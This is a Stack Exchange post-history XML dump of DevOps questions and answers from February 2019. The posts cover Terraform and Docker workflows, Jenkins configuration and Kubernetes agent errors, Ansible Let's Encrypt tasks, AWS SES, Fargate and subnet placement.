  <row Id="19974" PostHistoryTypeId="5" PostId="6225" RevisionGUID="cb94f838-4aba-4197-a3d7-e91717a4229c" CreationDate="2019-02-06T05:00:22.930" UserId="40" Comment="added 2 characters in body" Text="We have a typical multi layered web application:  a balancer, 2 web server 2 db server.&#xD;&#xA;&#xD;&#xA;I feel we strongly need to start using a kind of Infrastructure As Code in order to replicate easily environments, testing infrastructure updates, control production servers.&#xD;&#xA;&#xD;&#xA;I've never done that and I'm struggling to understand the workflow.&#xD;&#xA;I'm thinking something like this:&#xD;&#xA;&#xD;&#xA;- create locally my machines with docker and Dockerfiles.&#xD;&#xA;&#xD;&#xA;- use terraform to setup locally the infrastructure provided by docker (or docker-compose?).&#xD;&#xA;&#xD;&#xA;- reuse in some way the Dockerfiles to provide the production or staging machine (we don't use Docker in production, but rather AWS with EC2/AMI and RDS).&#xD;&#xA;&#xD;&#xA;- use ansible to deploy the application.&#xD;&#xA;&#xD;&#xA;I'm not sure this is the way. Or maybe it's too complex&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19975" PostHistoryTypeId="2" PostId="6251" RevisionGUID="92b5485c-8145-4844-b092-63170d9e0709" CreationDate="2019-02-06T05:45:02.280" UserId="11764" Text="Ok so I understand that you are in AWS and Docker already and Terraform is something you want to bring into picture for IaaC. and Yes, docker for production. Now, let's start with environment:&#xD;&#xA;Assume you have three environments, Dev, Test and Prod. So you create three folders, Dev, Test and Prod which contain infra code for three environments. Now, I don't understand what you mean by infrastructure provided by docker but docker will contain your web servers and web application. Number of containers will depend on how large or small your application is and are you in micro services architecture. So what Terraform does for you is creating almost everything: Right from network structure(VPC, subnets, NACLs, gateways etc), autoscaling groups(I prefer this as you may want to use docker orchestration), security groups, IAM roles, policies to RDS and ECS etc.&#xD;&#xA;&#xD;&#xA;So you can tag them in your code as per their environment and you create each of these components using Terraform modules. &#xD;&#xA;&#xD;&#xA;So now you have Terraform code which creates infrastructure for you. Store your state file in S3 because you want consistency in your infrastructure state. Keep your database state file separate from other state files. You may want to have separate state files for your network, security groups, RDS, IAM, Cloudwatch etc. &#xD;&#xA;&#xD;&#xA;Now comes the deployment part: Since you are in Docker, why don't you use AWS ECS? It will be easy deployment (Almost zero downtime) and orchestration will be managed by ECS itself. So now even deployment you can do using Terraform. Maintain a separate state file for this too. &#xD;&#xA;&#xD;&#xA;You can create separate docker images for dev, test and production during your CI. If you do not have any docker tagging strategy, you may use $BUILD_NUMBER:$ENV for now. One of the purpose of using docker is that you don't need to care about where you want to run the container so identical docker images for Dev, Test and Production is almost always ok with some configuration changes. &#xD;&#xA;&#xD;&#xA;You do not create anything locally. Use CI/CD tools such as combo of Jenkins and Git which triggers everything. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19976" PostHistoryTypeId="16" PostId="6251" RevisionGUID="84d3f15f-1841-4753-aac0-9eade38db659" CreationDate="2019-02-06T05:45:02.280" UserId="11764" />
  <row Id="19980" PostHistoryTypeId="2" PostId="6253" RevisionGUID="58e3f781-88e2-4495-bc05-741a3244aa7b" CreationDate="2019-02-06T05:49:59.607" UserId="12247" Text="I would suggest to use Ubuntu form docker hub and try Ubuntu alpine image.&#xD;&#xA;&#xD;&#xA;there should be also problem form database if your database is outside the K8s cluster so may possible latency problem should be there" ContentLicense="CC BY-SA 4.0" />
  <row Id="19981" PostHistoryTypeId="2" PostId="6254" RevisionGUID="11549e93-04fe-49fa-980a-9e219ff84e59" CreationDate="2019-02-06T05:58:06.667" UserId="12247" Text="[Extended Choice Parameter plugin][1] is the way to go for such requirement. You need to select Extended Choice Parameter from the drop-down list as shown below:&#xD;&#xA;&#xD;&#xA;enter image description here&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;In Name text-box, assign a name. For example, Environment. This is the name with which you will be accessing all the values (dev1,dev2,...) that you will select while triggering the build. Now, in Simple Parameter Types section, you will see another drop-down with the name Parameter Type. Select Multi Select from that drop-down. Now, in Choose Source for Value section, enter the values (dev1,dev2,qa1,qa2,...) in Value box. Comma (,) is the default delimiter. Refer screenshot below:&#xD;&#xA;&#xD;&#xA;enter image description here&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Once you are done with the above settings, you will then have to access the selected option in your script (using variable assigned to Name as described above) and decide the course of action.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Extended+Choice+Parameter+plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/phuGh.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/Nwvr5.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="19984" PostHistoryTypeId="2" PostId="6257" RevisionGUID="5d1a58be-a772-40c9-99ce-f7ab8416a6dc" CreationDate="2019-02-06T06:31:38.430" UserId="12247" Text="Yes you can do it using let's encrypt while with AWS cert-manager it is also possible. if you have generated certificate locally you can also manually upload it to AWS cert manager.&#xD;&#xA;&#xD;&#xA;for more info you can check this out : [https://community.letsencrypt.org/t/certificate-for-a-third-party-web-host-using-csr/76805/8][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://community.letsencrypt.org/t/certificate-for-a-third-party-web-host-using-csr/76805/8" ContentLicense="CC BY-SA 4.0" />
  <row Id="19986" PostHistoryTypeId="2" PostId="6259" RevisionGUID="bc21b7aa-7897-42ee-8600-fa550c88fa78" CreationDate="2019-02-06T06:45:38.403" UserId="12247" Text="if you want to check from where lambda is calling/using/attached you can check it form designer in lambda.&#xD;&#xA;&#xD;&#xA;Dashboard of lambda having designer that show lambda is connected with API Gateway , alexa skill etc.&#xD;&#xA;&#xD;&#xA;So you can check everything from designer of lambda although you can also use cloud formation stack if you have made it for lambda.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Here Lambda is connected with cloud watch and amazon EC2&#xD;&#xA;&#xD;&#xA;There should be api gateway and other component also&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GMxFf.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="19989" PostHistoryTypeId="2" PostId="6261" RevisionGUID="80e76c7a-0410-47fc-a679-d0f1c1a1d336" CreationDate="2019-02-06T08:00:01.567" UserId="12248" Text="Recently we've requested for 2 dedicated IPs for our SES domain, As most of the mails are going to spam folder. And we've 5-6 SES domains(account.abc.com, help.abc.com, mail.abc.com, etc) in the same aws account, But we would like to use these dedicated Ips only for specific domain(mail.abc.com). Is there any way to set/configure dedicated ips only for specific domain to avoid bad ip reputation?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Aravind" ContentLicense="CC BY-SA 4.0" />
  <row Id="19990" PostHistoryTypeId="1" PostId="6261" RevisionGUID="80e76c7a-0410-47fc-a679-d0f1c1a1d336" CreationDate="2019-02-06T08:00:01.567" UserId="12248" Text="How to configure Dedicated IPs for specific SES domain?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19991" PostHistoryTypeId="3" PostId="6261" RevisionGUID="80e76c7a-0410-47fc-a679-d0f1c1a1d336" CreationDate="2019-02-06T08:00:01.567" UserId="12248" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19998" PostHistoryTypeId="2" PostId="6264" RevisionGUID="30c80b30-4c3a-4af5-b4d1-64463feef0e3" CreationDate="2019-02-06T12:20:27.683" UserId="12218" Text="When I try to connect to a MySQL server that runs in a docker container(in System A) through my application(Running in system B) via wifi, it takes at least 4X amount of time than it would when both systems are connected via ethernet. I tried adding skip-name-resolve in my.cnf and mysqld.cnf but in vain. I cannot find where the problem is and how the same can be solved!&#xD;&#xA;&#xD;&#xA;I am attaching the dockerfile below. Thanks&#xD;&#xA;&#xD;&#xA;[Dockerfile][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.google.com/document/d/1QoVXNn6dor49CCsDWUj4k0Mkyew8040tKJfKujBzqjk/edit?usp=sharing" ContentLicense="CC BY-SA 4.0" />
  <row Id="19999" PostHistoryTypeId="1" PostId="6264" RevisionGUID="30c80b30-4c3a-4af5-b4d1-64463feef0e3" CreationDate="2019-02-06T12:20:27.683" UserId="12218" Text="Dockerized MySql slower in Wifi than ethernet" ContentLicense="CC BY-SA 4.0" />
  <row Id="20000" PostHistoryTypeId="3" PostId="6264" RevisionGUID="30c80b30-4c3a-4af5-b4d1-64463feef0e3" CreationDate="2019-02-06T12:20:27.683" UserId="12218" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;networking&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20002" PostHistoryTypeId="2" PostId="6265" RevisionGUID="ead970b4-c2e2-4f47-9cb0-81feb6735eec" CreationDate="2019-02-06T13:26:12.227" UserId="11527" Text="On creation of a new job(as free style project), and running it, I see that `Jenkinsfile` is generated in job's  workspace, **after** running the job.&#xA;&#xA;But I see that all the pipeline code is commented. This is declarative syntax pipeline code.&#xA;&#xA;&#xA;So,  apart from scriptlet generator option, &#xA;&#xA;1) Does Jenkins(by default) create Jenkinsfile with DSL syntax in its workspace? For its job...&#xA;&#xA;2)&#xA;If yes, Can Jenkins generate scripted pipeline in it's workspace? Groovy syntax...&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20003" PostHistoryTypeId="1" PostId="6265" RevisionGUID="ead970b4-c2e2-4f47-9cb0-81feb6735eec" CreationDate="2019-02-06T13:26:12.227" UserId="11527" Text="Does Jenkins job create Jenkinsfile? On execution" ContentLicense="CC BY-SA 4.0" />
  <row Id="20004" PostHistoryTypeId="3" PostId="6265" RevisionGUID="ead970b4-c2e2-4f47-9cb0-81feb6735eec" CreationDate="2019-02-06T13:26:12.227" UserId="11527" Text="&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;groovy&gt;&lt;job-dsl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20005" PostHistoryTypeId="5" PostId="6183" RevisionGUID="95d6ca99-86f4-4900-9ead-b34fc1ef8ff0" CreationDate="2019-02-06T14:39:54.883" UserId="12161" Comment="added 4 characters in body" Text="I am new to AWS, docker and jenkins. I want to run a jenkins build pipeline and I have tried using following two ways on AWS:&#xD;&#xA;&#xD;&#xA;1. Running jenkins inside the EC2 instance following the steps at this AWS [link](https://d1.awsstatic.com/Projects/P5505030/aws-project_Jenkins-build-server.pdf). I created a new EC2 instance and installed jenkins inside the ec2 instance (ssh into the instance). I configured jenkins and ran a build pipeline successfully.&#xD;&#xA;&#xD;&#xA;2. Running jenkins inside the ECS cluster following the steps at this [AWS link](https://docs.aws.amazon.com/aws-technical-content/latest/jenkins-on-aws/containerized-deployment.html#security-considerations-containerized-deployments).  I created two container instances for Jenkins and data volume, jenkins is installed and running inside one of the instances. (I could not move ahead this point because I was unable to not find the initial password for jenkins)&#xD;&#xA;&#xD;&#xA;I could not find much information about the second process of containerized deployment on internet. As I am moving ahead in this process, I am unable to understand which process is better to run a build pipeline securely." ContentLicense="CC BY-SA 4.0" />
  <row Id="20006" PostHistoryTypeId="2" PostId="6266" RevisionGUID="fe5e8496-5fb3-4cb6-abc2-99414f8674a9" CreationDate="2019-02-06T17:14:37.433" UserId="4954" Text="I am trying to run a jenkins system on my macbook for testing&#xD;&#xA;&#xD;&#xA;Jenkins is running in the mac &quot;Docker Desktop&quot; in Kubernetes, using a helm chart&#xD;&#xA;&#xD;&#xA;It has a Kubernetes slave set up with the Kubernetes plugin&#xD;&#xA;&#xD;&#xA;When I start a job, a new Kubernetes pod is started.  But it is unable to fully attach to Jenkins and so run the job&#xD;&#xA;&#xD;&#xA;Here's some logs from the docker container running the Jenkins master&#xD;&#xA;&#xD;&#xA;As you can see, it seems to work fine until the &quot;tunnel&quot; is used&#xD;&#xA;&#xD;&#xA;Any ideas what to set the tunnel to?  I've tried leaving it blank, setting to the IP of the Jenkins Kubernetes instance or setting it to localhost.  None of these work&#xD;&#xA;&#xD;&#xA;Is this perhaps a networking problem with Kubernetes or Docker?&#xD;&#xA;&#xD;&#xA;    docker logs -f f8ad22879548&#xD;&#xA;    INFO: Container is waiting kubernetes-slave-nvfvb [jnlp]: ContainerStateWaiting(message=null, reason=ContainerCreating, additionalProperties={})&#xD;&#xA;    Feb 06, 2019 3:50:00 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher launch&#xD;&#xA;    INFO: Waiting for Pod to be scheduled (1/200): kubernetes-slave-nvfvb&#xD;&#xA;    Feb 06, 2019 3:50:01 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher launch&#xD;&#xA;    INFO: Container is waiting kubernetes-slave-nvfvb [jnlp]: ContainerStateWaiting(message=null, reason=ContainerCreating, additionalProperties={})&#xD;&#xA;    Feb 06, 2019 3:50:01 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher launch&#xD;&#xA;    INFO: Waiting for Pod to be scheduled (2/200): kubernetes-slave-nvfvb&#xD;&#xA;    Feb 06, 2019 3:50:02 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher launch&#xD;&#xA;    INFO: Container is waiting kubernetes-slave-nvfvb [jnlp]: ContainerStateWaiting(message=null, reason=ContainerCreating, additionalProperties={})&#xD;&#xA;    Feb 06, 2019 3:50:02 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher launch&#xD;&#xA;    INFO: Waiting for Pod to be scheduled (3/200): kubernetes-slave-nvfvb&#xD;&#xA;    Feb 06, 2019 3:50:03 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher launch&#xD;&#xA;    INFO: Waiting for agent to connect (0/100): kubernetes-slave-nvfvb&#xD;&#xA;    Feb 06, 2019 3:50:04 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher launch&#xD;&#xA;    INFO: Waiting for agent to connect (1/100): kubernetes-slave-nvfvb&#xD;&#xA;    Feb 06, 2019 3:50:05 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher launch&#xD;&#xA;    ...etc etc..&#xD;&#xA;    INFO: Waiting for agent to connect (99/100): kubernetes-slave-nvfvb&#xD;&#xA;    Feb 06, 2019 3:51:46 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher logLastLines&#xD;&#xA;    SEVERE: Error in provisioning; agent=KubernetesSlave name: kubernetes-slave-nvfvb, template=PodTemplate{inheritFrom='', name='kubernetes-slave', namespace='', instanceCap=2, idleMinutes=2, label='utils', nodeSelector='utils', nodeUsageMode=NORMAL, workspaceVolume=EmptyDirWorkspaceVolume [memory=false], volumes=[HostPathVolume [mountPath=/var/run/docker.sock, hostPath=/var/run/docker.sock]], containers=[ContainerTemplate{name='jnlp', image='adriagalin/jenkins-jnlp-slave:1.4', workingDir='/home/jenkins', command='', args='${computer.jnlpmac} ${computer.name}', resourceRequestCpu='200m', resourceRequestMemory='256Mi', resourceLimitCpu='200m', resourceLimitMemory='256Mi', livenessProbe=org.csanchez.jenkins.plugins.kubernetes.ContainerLivenessProbe@56ff8e15}], yaml=}. Container jnlp. Logs: INFO: Jenkins agent is running in headless mode.&#xD;&#xA;    Feb 06, 2019 3:50:07 PM hudson.remoting.jnlp.Main$CuiListener status&#xD;&#xA;    INFO: Locating server among [http://10.74.121.25:8080/]&#xD;&#xA;    Feb 06, 2019 3:50:08 PM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve&#xD;&#xA;    INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping]&#xD;&#xA;    Feb 06, 2019 3:50:08 PM hudson.remoting.jnlp.Main$CuiListener status&#xD;&#xA;    INFO: Agent discovery successful&#xD;&#xA;      Agent address: 10.74.121.25&#xD;&#xA;      Agent port:    50000&#xD;&#xA;      Identity:      cd:a5:60:45:4d:45:7c:53:83:48:5b:d3:d5:02:68:4f&#xD;&#xA;    Feb 06, 2019 3:50:08 PM hudson.remoting.jnlp.Main$CuiListener status&#xD;&#xA;    INFO: Handshaking&#xD;&#xA;    Feb 06, 2019 3:50:08 PM hudson.remoting.jnlp.Main$CuiListener status&#xD;&#xA;    INFO: Connecting to 10.74.121.25:50000&#xD;&#xA;    Feb 06, 2019 3:51:34 PM hudson.remoting.jnlp.Main$CuiListener status&#xD;&#xA;    INFO: Connecting to 10.74.121.25:50000 (retrying:2)&#xD;&#xA;    java.io.IOException: Failed to connect to 10.74.121.25:50000&#xD;&#xA;            at org.jenkinsci.remoting.engine.JnlpAgentEndpoint.open(JnlpAgentEndpoint.java:243)&#xD;&#xA;            at hudson.remoting.Engine.connect(Engine.java:500)&#xD;&#xA;            at hudson.remoting.Engine.innerRun(Engine.java:364)&#xD;&#xA;            at hudson.remoting.Engine.run(Engine.java:287)&#xD;&#xA;    Caused by: java.net.ConnectException: Connection refused&#xD;&#xA;            at sun.nio.ch.Net.connect0(Native Method)&#xD;&#xA;            at sun.nio.ch.Net.connect(Net.java:454)&#xD;&#xA;            at sun.nio.ch.Net.connect(Net.java:446)&#xD;&#xA;            at sun.nio.ch.SocketChannelImpl.connect(SocketChannelImpl.java:648)&#xD;&#xA;            at java.nio.channels.SocketChannel.open(SocketChannel.java:189)&#xD;&#xA;            at org.jenkinsci.remoting.engine.JnlpAgentEndpoint.open(JnlpAgentEndpoint.java:204)&#xD;&#xA;            ... 3 more&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Feb 06, 2019 3:51:46 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher launch&#xD;&#xA;    WARNING: Error in provisioning; agent=KubernetesSlave name: kubernetes-slave-nvfvb, template=PodTemplate{inheritFrom='', name='kubernetes-slave', namespace='', instanceCap=2, idleMinutes=2, label='utils', nodeSelector='utils', nodeUsageMode=NORMAL, workspaceVolume=EmptyDirWorkspaceVolume [memory=false], volumes=[HostPathVolume [mountPath=/var/run/docker.sock, hostPath=/var/run/docker.sock]], containers=[ContainerTemplate{name='jnlp', image='adriagalin/jenkins-jnlp-slave:1.4', workingDir='/home/jenkins', command='', args='${computer.jnlpmac} ${computer.name}', resourceRequestCpu='200m', resourceRequestMemory='256Mi', resourceLimitCpu='200m', resourceLimitMemory='256Mi', livenessProbe=org.csanchez.jenkins.plugins.kubernetes.ContainerLivenessProbe@56ff8e15}], yaml=}&#xD;&#xA;    java.lang.IllegalStateException: Agent is not connected after 100 seconds, status: Running&#xD;&#xA;            at org.csanchez.jenkins.plugins.kubernetes.KubernetesLauncher.launch(KubernetesLauncher.java:224)&#xD;&#xA;            at hudson.slaves.SlaveComputer$1.call(SlaveComputer.java:294)&#xD;&#xA;            at jenkins.util.ContextResettingExecutorService$2.call(ContextResettingExecutorService.java:46)&#xD;&#xA;            at jenkins.security.ImpersonatingExecutorService$2.call(ImpersonatingExecutorService.java:71)&#xD;&#xA;            at java.util.concurrent.FutureTask.run(FutureTask.java:266)&#xD;&#xA;            at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;            at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;            at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;    &#xD;&#xA;    Feb 06, 2019 3:51:46 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesSlave _terminate&#xD;&#xA;    INFO: Terminating Kubernetes instance for agent kubernetes-slave-nvfvb&#xD;&#xA;    Feb 06, 2019 3:51:46 PM org.csanchez.jenkins.plugins.kubernetes.KubernetesSlave deleteSlavePod&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20007" PostHistoryTypeId="1" PostId="6266" RevisionGUID="fe5e8496-5fb3-4cb6-abc2-99414f8674a9" CreationDate="2019-02-06T17:14:37.433" UserId="4954" Text="What setting to use for jenkins tunnel?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20008" PostHistoryTypeId="3" PostId="6266" RevisionGUID="fe5e8496-5fb3-4cb6-abc2-99414f8674a9" CreationDate="2019-02-06T17:14:37.433" UserId="4954" Text="&lt;jenkins&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20009" PostHistoryTypeId="50" PostId="5901" RevisionGUID="bf74e4ad-3b9f-4ed3-a51d-57b7849f8077" CreationDate="2019-02-06T18:01:25.263" UserId="-1" />
  <row Id="20010" PostHistoryTypeId="2" PostId="6267" RevisionGUID="5c5b3056-cd9e-4fc1-a4f3-ad4cf521e065" CreationDate="2019-02-06T21:40:40.280" UserId="12057" Text="I am attempting to use the Ansible ```acme_certificate``` module to acquire a Let's Encrypt TLS certificate.&#xD;&#xA;&#xD;&#xA;I have successfully generated the private keys, CSRs, etc, and then started the challenge using the following task:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Start challenge&#xD;&#xA;  acme_certificate:&#xD;&#xA;    acme_version: 1&#xD;&#xA;    account_key_src: /etc/letsencrypt/account/account.key&#xD;&#xA;    challenge: http-01&#xD;&#xA;    csr: /etc/letsencrypt/csrs/{{ item }}.csr&#xD;&#xA;    dest: /etc/letsencrypt/certs/{{ item }}.crt&#xD;&#xA;    fullchain_dest: /etc/letsencrypt/certs/fullchain_{{ item }}.crt&#xD;&#xA;  with_items:&#xD;&#xA;  - www.example.com&#xD;&#xA;  register: acme_challenge&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I then attempt to satisfy the ```http-01``` challenge using:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Implement challenge&#xD;&#xA;  copy:&#xD;&#xA;    content: &quot;{{ acme_challenge['results']['challenge_data']['www.example.com']['http-01']['resource-value'] }}&quot;&#xD;&#xA;    dest: &quot;/var/www/html/{{ acme_challenge['results']['challenge_data']['www.example.com']['http-01']['resource'] }}&quot;&#xD;&#xA;    owner: root&#xD;&#xA;    group: root&#xD;&#xA;    mode: u=rw,g=r,o=r&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, this results in the following error:&#xD;&#xA;&#xD;&#xA;```The error was: 'list object' has no attribute 'challenge_data'```&#xD;&#xA;&#xD;&#xA;I have tried accessing the ```acme_challenge``` variable in different ways, for example using ```{{ acme_challenge.challenge_data['www.example.com']['http-01']['resource'] }}```, as well of various other combinations of square brackets and dots.&#xD;&#xA;&#xD;&#xA;I've also copied the example of accessing the variable directly from the Ansible documentation, [here](https://docs.ansible.com/ansible/2.4/letsencrypt_module.html) and [here](https://docs.ansible.com/ansible/latest/modules/acme_certificate_module.html), but that gives the same error.&#xD;&#xA;&#xD;&#xA;After around 3 hours of trying I cannot read the challenge data at all. I've used a ```debug``` statement and I can confirm that it's all there properly, I just can't read the variable with this syntax.&#xD;&#xA;&#xD;&#xA;Is this a known problem, or does anybody have a suggestion?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20011" PostHistoryTypeId="1" PostId="6267" RevisionGUID="5c5b3056-cd9e-4fc1-a4f3-ad4cf521e065" CreationDate="2019-02-06T21:40:40.280" UserId="12057" Text="How can I issue a Let's Encrypt certificate with Ansible when 'challenge_data' cannot be found?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20012" PostHistoryTypeId="3" PostId="6267" RevisionGUID="5c5b3056-cd9e-4fc1-a4f3-ad4cf521e065" CreationDate="2019-02-06T21:40:40.280" UserId="12057" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20013" PostHistoryTypeId="2" PostId="6268" RevisionGUID="61dbaa15-a97f-4ffa-a2c7-e9bc7a877e4d" CreationDate="2019-02-06T22:16:24.697" UserId="12057" Text="This was caused by the fact that I was starting the Let's Encrypt challenges using a ```with_items``` loop. From [here](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#registering-variables):&#xD;&#xA;&#xD;&#xA;&gt; When using register with a loop, the data structure placed in the variable during the loop will contain a results attribute, that is a list of all responses from the module. For a more in-depth example of how this works, see the Loops section on using register with a loop.&#xD;&#xA;&#xD;&#xA;The solution is to have a separate task for each Let's Encrypt challenge, rather than having them all in one." ContentLicense="CC BY-SA 4.0" />
  <row Id="20015" PostHistoryTypeId="2" PostId="6270" RevisionGUID="32517a19-eecb-43e3-ac4a-9efd489a7687" CreationDate="2019-02-07T02:30:24.927" UserId="7772" Text="Not sure I get it. If my service layer is completely maintainable, indepedent services and very easy to maintain taking only a few minutes to deploy and has no bugs, AWS still won't let me deploy it if it uses 201 resources. This seems like dogma or am I wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20016" PostHistoryTypeId="1" PostId="6270" RevisionGUID="32517a19-eecb-43e3-ac4a-9efd489a7687" CreationDate="2019-02-07T02:30:24.927" UserId="7772" Text="Practical reasons for 200 limit of AWS resources in CF templates" ContentLicense="CC BY-SA 4.0" />
  <row Id="20017" PostHistoryTypeId="3" PostId="6270" RevisionGUID="32517a19-eecb-43e3-ac4a-9efd489a7687" CreationDate="2019-02-07T02:30:24.927" UserId="7772" Text="&lt;microservices&gt;&lt;serverless&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20021" PostHistoryTypeId="2" PostId="6272" RevisionGUID="ed2c33f0-5424-48e4-88ba-19dc4303358d" CreationDate="2019-02-07T03:46:06.350" UserId="12247" Text="your mysql server running on system A and if you are trying to make connection vai wifi or sending request to make connection on mysql it is mya possible reason should be latency in network. if both system is different and you have exposed you mysql to internet then also it may happen.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20022" PostHistoryTypeId="2" PostId="6273" RevisionGUID="bbe57fb7-442d-41b5-bbad-c0a9147b7142" CreationDate="2019-02-07T04:01:44.013" UserId="12247" Text=" 1. &#xD;&#xA;&#xD;&#xA;    I understand Fargate gives u access to just the container and not&#xD;&#xA;        the underlying host. If so, how do you accomplish the above?&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt; Yes, I opened a support ticket and the AWS representative said that&#xD;&#xA;&gt; Fargate is really intended as a stateless container solution. I took&#xD;&#xA;&gt; that to mean it's more of a self-made Lambda rather than a managed&#xD;&#xA;&gt; Docker solution. The suggestion to add persistent storage was taken&#xD;&#xA;&gt; under consideration and will be added to the feature request list.&#xD;&#xA;&gt; &#xD;&#xA;&gt; You can add the storage also at the time of container configuration may be you can use NFS or you can upload data from&#xD;&#xA;&gt; fargate to s3&#xD;&#xA; &#xD;&#xA;  &#xD;&#xA;2. With bind mounts, a file or directory on the host machine is mounted into a container. Bind mount host volumes are supported when&#xD;&#xA;&gt; using either the EC2 or Fargate launch types. Fargate tasks only&#xD;&#xA;&gt; support nonpersistent storage volumes, so the host and sourcePath&#xD;&#xA;&gt; fields are not supported. For more information, see [Task stoarage][1]&#xD;&#xA;&#xD;&#xA;4. Your Amazon ECS service can optionally be configured to use Amazon ECS Service Discovery. Service discovery uses AWS Cloud Map API&#xD;&#xA;&gt; actions to manage HTTP and DNS namespaces for your Amazon ECS&#xD;&#xA;&gt; services. to create service discovery you can refer to [click here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;[1]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/fargate-task-storage.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create-service-discovery.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="20023" PostHistoryTypeId="50" PostId="5902" RevisionGUID="34cc0cfc-0efd-4754-82bf-ecb7285c16ae" CreationDate="2019-02-07T04:05:46.063" UserId="-1" />
  <row Id="20024" PostHistoryTypeId="2" PostId="6274" RevisionGUID="171de0b7-74f5-4121-ad77-522ff1529ad0" CreationDate="2019-02-07T04:14:56.233" UserId="11764" Text="What do you mean by &quot;pipeline in private subnet?&quot; If you mean Jenkins in private subnet then if you want to make it private, you need to setup a vpn so that you can access jenkins gui using &lt;private-subnet-ip&gt;:8080 . Extra work with no significant difference. Make it in public subnet and use NACL/Security Groups to restrict access only to trusted sources&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20025" PostHistoryTypeId="5" PostId="6274" RevisionGUID="cca1ca3c-8f5f-4811-b3c7-9f32b3c47b16" CreationDate="2019-02-07T04:27:39.977" UserId="11764" Comment="added 275 characters in body" Text="What do you mean by &quot;pipeline in private subnet?&quot; If you mean Jenkins in private subnet then if you want to make it private either you need to setup a vpn so that you can access jenkins gui using http://private-subnet-ip:jenkins_port or you can move jenkins behind a load balancer and use load-balancer-dns to access jenkins gui. If it is in public subnet then use NACL/Security Groups to restrict access only to trusted sources. For more security, do not assign public ip to jenkins machine, assign dns hostname(even to load balancer you should do that) and implement ssl over http so that it can be accessed over https only. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20029" PostHistoryTypeId="50" PostId="5907" RevisionGUID="170d0b36-2501-4818-a904-7e7148ba206d" CreationDate="2019-02-07T05:01:05.163" UserId="-1" />
  <row Id="20030" PostHistoryTypeId="5" PostId="5880" RevisionGUID="038eca6c-b6b9-4dd5-95b2-05748a6a4932" CreationDate="2019-02-07T05:50:07.687" UserId="11764" Comment="rephrased question" Text="For development environment, to be used by multiple developers, we have a pipeline to be created with Git-Jenkins-Tomcat(dev)&#xD;&#xA;Do I need to place jenkins in private subnet and access thru bastion host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20031" PostHistoryTypeId="4" PostId="5880" RevisionGUID="038eca6c-b6b9-4dd5-95b2-05748a6a4932" CreationDate="2019-02-07T05:50:07.687" UserId="11764" Comment="rephrased question" Text="Jenkins in private subnet" ContentLicense="CC BY-SA 4.0" />
